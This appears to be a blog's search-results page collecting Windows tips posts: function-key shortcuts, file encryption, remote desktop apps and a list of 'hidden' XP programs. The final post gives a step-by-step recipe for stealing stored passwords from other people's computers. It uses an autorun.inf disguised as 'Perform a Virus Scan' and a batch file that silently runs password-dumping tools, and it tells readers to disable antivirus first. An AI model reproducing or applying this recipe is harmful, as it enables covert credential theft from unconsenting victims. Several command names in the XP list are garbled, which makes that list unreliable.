Showing posts sorted by relevance for query Microsoft. Sort by date Show all posts
Showing posts sorted by relevance for query Microsoft. Sort by date Show all posts

Saturday 5 March 2016

COMMON USES OF F1-F12 KEYS IN WINDOWS

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You might be Using Windows for a long time but I am sure the majority of you guys don’t know all the features and Uses of F1-F12 keys on your keyboard. We all know Common shortcuts like CTRL+C to Copy and CTRL+V to Paste, But you might not know what F1, F2, F3…….F12 keys actually do and where and when to use them.
In this article, we will see Common features and Uses of F1-F12 keysand also how these keys can be used with the Combination of CTRL and ALT keys.


VARIOUS USES OF F1-F12 KEYS IN WINDOWS


USES OF F1 KEY:

  • F1 key almost everywhere is used for “Help”.  if you are using windows OS and want help anywhere then press the F1 key, this will open up help window for you.
  • Sometimes F1 key is used to enter the BIOS (press F1 when your computer is about to boot).
  • A combination of Win + F1 keys will open the “Help and Support» Microsoft Windows.

USES OF F2 KEY:

  • Rapidly rename the chosen file or folder. Works in all adaptations of Windows.
  • Alt + Ctrl + F2 – Opens the Document as a Microsoft Word.
  • Ctrl + F2 – Opens the Preview window in Microsoft Word.
  • Frequently to enter the BIOS.

USES OF F3 KEY:

  • In the MS-DOS charge line or in Windows, press F3 to rehash the last summon.
  • Win + F3 – Advanced Search window opens in Microsoft Outlook.
  • Shift + F3 – Changes the content in Microsoft Word, from upper to lower case or capital letters at the start of each one expression.
  • If I am not mixed up, it is the F3 key which will cause the Application«Control» computers Apple, running Mac OS X.

USES OF F4 KEY:

  • This opens the location bar if you press F4 in Windows Explorer and Internet Explorer.
  • Rehash the last activity (MS Word )
  • Ctrl + F4 – Closes the window open in the present window, for example, a tab in the program
  • Alt + F4 – Closes the system window in Windows.

USES OF F5 KEY:

  • Refreshes the present page (works in all advanced programs), and additionally redesign the desktop or open organizers in Windows.
  • Running a slide demonstrate in Powerpoint.

USES OF F6 KEY:

  • Move the cursor in the location bar (additionally works in numerous advanced programs).
  • Ctrl + Shift + F6 – opens Document in Microsoft Word

USE OF F7 KEY:

  • Mostly used for spelling and grammar in a document programs Microsoft (Word, Outlook, etc.)

USE OF F8 KEY:

  • Pressing the F8 key while your PC is about to boot will result in booting your PC in Safe mode.

USE OF F9 KEY:

  • The F9 key does not have any functionality in Windows. It may however, be used in some individual programs. To find out if it is available in the program you are using, bring up the program’s help screen and type in the words function key.

USES OF F10 KEY:

  • Activates “Menu” in the open organizer window.
  • Shift + F10 – works the same as the right mouse click.
  • Pressing F10 while your system is booting will show you BIOS Information.
  •  F10 is used to enter the hidden recovery partition on computers Sony.

USE OF F11 KEY:

  • F11 Key will take you to Full-screen mode and it can be used and work in any Browser.

USES OF F12 KEY:

  • Opens the “Save As” in Microsoft Word.
  • Shift + F12 – Saves a document in Microsoft Word.
  • Ctrl + Shift + F12 – Prints a document in Microsoft Word.
  • F12 key will open up the Inspect element box in any Browser.
Fn + F1 or F2 or …. F12 keys will normally do the task that is Printed on the respective keys, This is basically for Laptop Users.
With this it Concludes my list of uses of F1-F12 keys in windows, if you know any more uses then please add to this article by Commenting Below.

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Tuesday 4 June 2019

How do I password protect my files and folders in Windows?

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How do I password protect my files and folders in Windows?

Because most versions of Windows do not include a method of password protecting your files and folders, this page provides steps for encrypting files and folders instead. To password protect your files and folders in Windows, you need to use a third-party program.

Microsoft Windows Vista, 7, 8, and 10 users

Unfortunately, Windows Vista, Windows 7, Windows 8, and Windows 10 do not provide any features for password protecting files or folders. You need to use a third-party software program to accomplish this.

If you want to encrypt a file or folder, this can be done by following these steps:
  • Select the file or folder you want to encrypt.
  • Right-click the file or folder and select Properties.
  • On the General tab, click the Advanced button.
  • Check the box for the "Encrypt contents to secure data" option, then click OK on both windows.

Microsoft Windows XP Professional users

The steps below for encrypting the files on Windows XP Professional apply to users who are using a computer that has two or more accounts. If you are using a single account, see the other security solutions section.
  • Select the file or folder you want to encrypt.
  • Right-click the file or folder and click Properties.
  • On the General tab, click the Advanced button.
  • Check the "Encrypt contents to secure data" option.
  • Click Apply and then OK.

Encrypt contents to secure data is grayed out

If you are using the Home edition of Microsoft Windows XP, see the Windows XP Home steps.

Show "Encrypt" on the context menu

The newest version of TweakUI also enables you to show the Encrypt option in the context menu. To do this, follow the steps below.

  • Open TweakUI.
  • In the TweakUI window, select Explorer.
  • In the right side of the window under Settings, locate Show 'Encrypt' on the context menu and check the box. This option should be below Prefix 'shortcut to' on new shortcuts and above Show 'View workgroup computers' in NetPlaces.
  • I'm missing "Show 'Encrypt' on the context menu" in TweakUI.

Microsoft Windows XP Home users

  • Select the file or folder you want to encrypt.
  • Right-click the file or folder and click Properties.
  • Click the Sharing tab.
  • Check the box Make this folder private.
  • Click Apply and then OK.

Make this folder private is grayed out

For this option to work on Microsoft Windows XP Home Edition, you must meet the below requirements.

  • The hard drive must be formatted in NTFS and not FAT32 File System.
  • The folder you are attempting to encrypt is your personal folder. For example, if your name is Bob, you must encrypt the following folder or a folder within it:
          C:\Documents and Settings\Bob\
  • You cannot encrypt any folders outside of this folder. If you want to encrypt folders outside of this folder, see the other security solutions section below.

Other security solutions for protecting your files and folders in Windows

  1. File and folders not frequently used - An easy way to password protect files is to create an archive of the files using a compression tool. When the archive is created, you can encrypt the contents by specifying a password.
  2. Windows ME and Windows XP users - Windows ME and Windows XP come with their own compression utility. This utility can also be used to compress and password-protect files.
  3. Windows Vista and Windows 7 users - Windows Vista and Windows 7 also include a compression utility. However, password protection for the compressed files is not possible without the use of a third-party software program.

Tip

When a file is compressed, users can still view a listing of the files in the compressed file. If you want both your file names and the contents to be hidden, move all the files into a single folder and password protect that folder.

File and folders frequently used or accessed

If you need to password protect or encrypt data you frequently use, you need to install a third-party program that allows you to protect your files and folders. Below are some free and commercial solutions.

  • 7-Zip - A free file and folder zipping utility, which also includes the ability to password-protect zipped files and folders.
  • AxCrypt - An excellent free encryption utility that enables users to encrypt all files within a folder and not allow those files to be viewed unless a passphrase (password) is known.
  • Folder Guard - A commercial version of a password protection software that enables you to password-protect files, folders, and other Windows resources.
  • Protected Folder- For a small fee, it's an excellent software program that enables you to password protect folders.
Open a search for more solutions to password-protect files and folders.

Things to remember when encrypting or password protecting files and folders

  • There is no such thing as a 100% protected file. There are numerous tools, utilities, and instructions for how to break encryption and passwords on files. However, the protection methods listed above will protect your files from the majority of users who may encounter them. If you are working with really sensitive data, we suggest a commercial product for protecting your files and data.
  • Even though a file or folder may be password protected, it still can be deleted (unless the program supports the ability to protect files from being deleted). Always remember to back up all your files, even those protected by passwords.
  • If you forget the password, unless you're willing to spend the time attempting to break it or pay someone else to break the password, all the data in the file or folder will be lost. Thus, it is important to back up a copy of the non-password protected files or folders, just in case.
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Sunday 6 March 2016

TRICK TO ACCESS A WINDOWS DESKTOP FROM YOUR SMARTPHONE OR TABLET

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Yes, you can Access a Windows Desktop from Your Smartphone or Tablet. IPads and android tablets or smartphones can’t run windows app locally, but with this, you can remote your Windows desktop, even with a physical keyboard. Many apps have been developed and launched like Microsoft remote desktop appTeamViewer for Remote Control, among which Microsoft app is mostly used for professional use while the other app can also be used for personal uses.



MICROSOFT’S REMOTE DESKTOP APP 


This app has reduced the workload from one’s head of staying in the home and working all day and canceling the vacations and many more just because the work info is available on your PC. With Microsoft remote desktop app, you can connect to your work resources and remote PC from anywhere you feel like working. This app is mostly used for business and professional use rather than personal use.

Features of this app :
  • Access your desktop with your phones easily.
  • Rich multi-touch experience with the remote desktop protocol (RDP).
  • It has an outstanding feature or technology, namely Network Layer Authentication which secure connection to your data and applications.
  • High-quality video and sound streaming.
Review for this app: This app is friendly for business-related persons or for professional use but not so friendly for personal use.

TEAMVIEWER FOR REMOTE CONTROL


This app is friendly for personal use too no matter wherever you are, rather than controlling your own computer you can also remotely troubleshoot your relative's PC.
Features : 
  • Access to computers (Windows, Mac, Linux) is possible also during a telephone call.
  • Transfer the files from your PC to the phone or from the phone to the PC.
  • Automatic quality adjustment.
  • Remotely reboot the computer.
  • TeamViewer free is for private use only e.g. to access or solve your or your friend's computer problems.
All you have to do is Download an Install Teamviewer on Your Desktop and Mobile, after installing on your smartphone you will have to log in with the details that TeamViewer window displays.


Other Options: Other than these two apps you surely have other options too if you are not friendly with both of them.
Splashtop: This is another popular remote desktop app that people reportedly has said that it is faster. But unfortunately, this is not a free app as it may cost you around $20 at a regular price. And to use it over the internet you need to buy an additional “Anywhere access pack”. This app can be used or purchased if you don’t mind spending money or if you need a faster app to complete your work fast.

Conclusion: With the development of these apps both personal and professional works are carried out easily and in a better manner with easy access.
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Sunday 5 November 2017

Lists of Hidden Secret Applications / Programs of Windows XP

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Lots of hidden applications or programs exist in your Windows XP operating system. These hidden applications are really very useful and can save much time when you really know these application's utility or application. Microsoft never tells you these applications/programs description. All these hidden programs are really powerful for similar activities like registry editing, group policy editing, communicating with others, etc. This page presents lots of hidden secret programs/application and you will be glad knowing these hidden applications activities.
Lists of Hidden Secret Applications / Programs of Windows XP:
In the following paragraphs, you will find 20+ hidden secret applications or programs of Microsoft Windows XP operating system:
Private Character Editor: Hidden Font Editor Private Character Editor is used to create unique letters and logos for your font library according to your own choice. This program is totally for designing icons and Characters.
Instructions for Private Character Editor: Click on Start menu and click select Run In the “Run” window, type EUDCEDIT and hit Enter key of your keyboard...
IExpress: Hidden Install Creator IExpress program is for converting your files to EXECUTABLE files. This technology is designed to simplify the creation of a setup program. Using the step-by-step IExpress Wizard, you can create self-extracting files that automatically run the setup program contained inside. The setup program can be a .inf file or an executable program. IExpress technology automatically removes the setup files after installation, saving the user time and frustration.
Instructions for IExpress:
1. Click on the Start menu and click select Run 2. In the “Run” window, type iexpress and hit Enter key of your keyboard
Disk Cleanup: Cleaning Harddisk, This program is used for cleaning hard disk to offer more space to your hard-disk.
Instructions for Disk Cleanup:
1. Click on the Start menu and click select Run 2. In the “Run” window, type cleanmgr and hit Enter key of your keyboard.
MS-DOS Editor: Hidden Text Editor Windows XP comes with another text editor besides Notepad – it’s called the MS-DOS Editor is another text editor like Notepad and it’s commonly referred to simply as Edit. You can use it like Notepad. Moreover, it offers many more features such as the ability to work with multiple text files and change the background and text colors.
Instructions for MS-DOS Editor:
1)Click on the Start menu and click select Run.
2) In the “Run” window, type edit and hit Enter key of your keyboard.
Netmeeting: Hidden Internet Conference Application NetMeeting of Windows XP can deliver a complete Internet conferencing solution for all Windows users with multi-point data conferencing, text chat, whiteboard, and file transfer, as well as point-to-point audio and video.
Instructions for Netmeeting:
1. Click on Start menu and click select Run
2. In the “Run” window, type conf and hit Enter key of your keyboard
Windows Chat: Hidden Windows ChatProgram Windows Chat can be used to communicate with someone on another computer. But both computers must be connected to the same network (for
example, a local area network [LAN] or the Internet) and each computer must be running a similar protocol, such as TCP/IP. So, you can communicate with others easily.
Instructions for Windows Chat:
1. Click on the Start menu and click select Run 2. In the “Run” window, type winchat and hit Enter key of your keyboard
Windows Media Player 5.1: Hidden Windows Media Player Do you know that there is windows media player 5.1 in your windows XP. You can use it to listen to music.
Instructions for Windows Windows Media Player 5.1:
1. Click on Start menu and click select Run
2. In the “Run” window, type mplay32 and hit Enter key of your keyboard
Windows Media Player 6.4: Hidden Windows Media Player This is another secret of Windows XP. Here you can find Windows Media Player 6.4 (classic) to play your media files.
Instructions for Windows Media Player 6.4:
1. Click on the Start menu and click select Run 2. In the “Run” window, type mplayer2 and hit Enter key of your keyboard
Note:
Windows Media Player 6.4 (Classic) is installed along with Windows Media Player 7. The only update is that it now supports the latest codecs.
Dr. Watson: Troubleshooting tool This program Is for repairing problems in Windows
Instructions for Dr. Watson:
1. Click on the Start menu and click select Run 2. In the “Run” window, type drwtsn32 and hit Enter key of your keyboard
Clipboard Viewer: Windows ClipboardViewing This program is for viewing contents of Windows clipboard
Instructions for Clipboard Viewer:
1. Click on the Start menu and click select Run 2. In the “Run” window, type clipboard and hit Enter key of your keyboard
DirectX diagnosis: Diagnose DirectX, video, and sound This program is for viewing contents of Windows clipboard
Instructions for DirectX diagnosis:
1. Click on the Start menu and click select Run 2. In the “Run” window, type dxdiag and hit Enter key of your keyboard
Character Map: Find unusual characters This program is used for finding unusual characters.
Instructions for Character Map:
1. Click on the Start menu and click select Run 2. In the “Run” window, type charmap and hit Enter key of your keyboard
Mcft Synchronization Manager: File synchronization on the network This program is very helpful which allows synchronization of files on the network for when working offline. But this program is apparently undocumented.
Instructions for Mcft Synchronization Manager:
1. Click on the Start menu and click select Run 2. In the “Run” window, type mobsync and hit Enter key of your keyboard
ODBC Data Source Administrator: If you like to do with databases, you can use this hidden program of Windows XP.
Instructions for ODBC Data Source Administrator:
1. Click on the Start menu and click select Run 2. In the “Run” window, type odbcad32 and hit Enter key of your keyboard
Object Packager: With this secret Windows XP program, you can do with packaging objects for insertion in files, appears to have comprehensive help files
Instructions for Object Packager:
1. Click on the Start menu and click select Run 2. In the “Run” window, type packager and hit Enter key of your keyboard.
Group Policy Editor: This program is used to manage group policies and permissions
Instructions for Group Policy Editor:
1. Click on the Start menu and click select Run 2. In the “Run” window, type gpedit.msc and hit Enter key of your keyboard
System configuration: This program is used to control startup programs.
Instructions for System configuration:
1. Click on the Start menu and click select Run 2. In the “Run” window, type MSConfig and hit Enter key of your keyboard.
Driver Verifier Manager: It seems to be a utility for monitoring the actions of drivers, which might be useful for people having driver problems. Undocumented.
Instructions for Driver Verifier Manager :
1. Click on the Start menu and click select Run 2. In the “Run” window, type verifier and hit Enter key of your keyboard.
Microsoft Telnet Client: This program is used to remotely access to any device.
Instructions for Microsoft Telnet Client:
1. Click on the Start menu and click select Run 2. In the “Run” window, type telnet and hit Enter key of your keyboard.
System Monitor: System Monitor is a very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance
Instructions for System Monitor:
1. Click on the Start menu and click select Run 2. In the “Run” window, type perfmon and hit Enter key of your keyboard.
Program Manager: Program Manager is a program that can be used as a Legacy Windows 3.x desktop shell.
Instructions for Program Manager:
1. Click on the Start menu and click select Run 2. In the “Run” window, type program and hit Enter key of your keyboard.
Syskey: Secures XP Account database Syskey secures the XP account database. Use Syskey with care, it’s virtually undocumented but it appears to encrypt all passwords
Instructions for Syskey:
1. Click on the Start menu and click select Run 2. In the “Run” window, type syskey and hit Enter key of your keyboard.
System Configuration Editor: System Configuration Editor can be used to modify System.ini & Win.ini just like in Win98!
Instructions for System Configuration Editor:
1. Click on the Start menu and click select Run 2. In the “Run” window, type sysedit and hit Enter key of your keyboard.
Remote Access phone book: This program’s documentation is virtually non-existent.
Instructions for Remote Access phone book :
1. Click on the Start menu and click select Run 2. In the “Run” window, type as phone and hit Enter key of your keyboard.
Registry Editor: Registry Editor is used for hacking the Windows Registry.
Instructions for Registry Editor:
1. Click on the Start menu and click select Run 2. In the “Run” window, type regedt32 Regedit and hit Enter key of your keyboard.
Network shared folder wizard: t is used to create shared folders on the network.
Instructions for Network shared folder wizard:
1. Click on the Start menu and click select Run 2. In the “Run” window, type shrubs and hit Enter key of your keyboard.
File signature verification tool: It’s a simple file siganture verification tool.
Instructions for File signature verification tool:
1. Click on the Start menu and click select Run 2. In the “Run” window, type sigverif and hit Enter key of your keyboard.
Volume Control: This program is helpful for those people that lose it from the System Notification area.
Instructions for Volume Control: 1.Click on Start menu and click select Run 2. In the “Run” window, type sndvol32 and hit Enter key of your keyboard.
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Saturday 7 May 2016

How to Hack Passwords Using a USB Drive

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As we all know, Windows stores most of the passwords which are used daily, including instant messenger passwords such as MSN, Yahoo, AOL, Windows Messenger, etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exist many tools for recovering these passwords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:
MessenPassRecovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassViewRecovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail) if you use the associated programs of these accounts.
IE Pass viewIE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet Explorer, v4.0 – v6.0
Protected Storage PassViewRecovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more.
PasswordFoxPasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:
Record Index, Web Site, User Name, Password, User Name Field and Password Field.

Preparing Your USB Drive for Password Hacking:

Here is a step by step procedure to create the password hacking toolkit:
You must temporarily disable your antivirus before following these steps.
  1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
    ie: Copy the files – mspass.exemailpv.exeiepv.exepspv.exe andpasswordfox.exe into your USB Drive.
  2. Create a new Notepad and write the following text into it:
    [autorun]
    open=launch.bat
    ACTION= Perform a Virus Scan
    save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.
  3. Create another Notepad and write the following text onto it:
    start mspass.exe /stext mspass.txt
    start mailpv.exe /stext mailpv.txt
    start iepv.exe /stext iepv.txt
    start pspv.exe /stext pspv.txt
    start passwordfox.exe /stext passwordfox.txt
    
    Save the Notepad and rename it from New Text Document.txt to launch.bat.Copy the launch.bat file to your USB drive.
    Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on any computer to sniff the stored passwords. Just follow these steps:
    1. Insert the pen-drive and the autorun window will pop-up. (This is because we have created an auto-run pen-drive).
    2. In the pop-up window, select the first option (Perform a Virus Scan).
    3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the.TXT files.
    4. Remove the pen-drive and you’ll see the stored passwords in the.txt files.
This hack works on Windows 2000, XP, Vista and 7.
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
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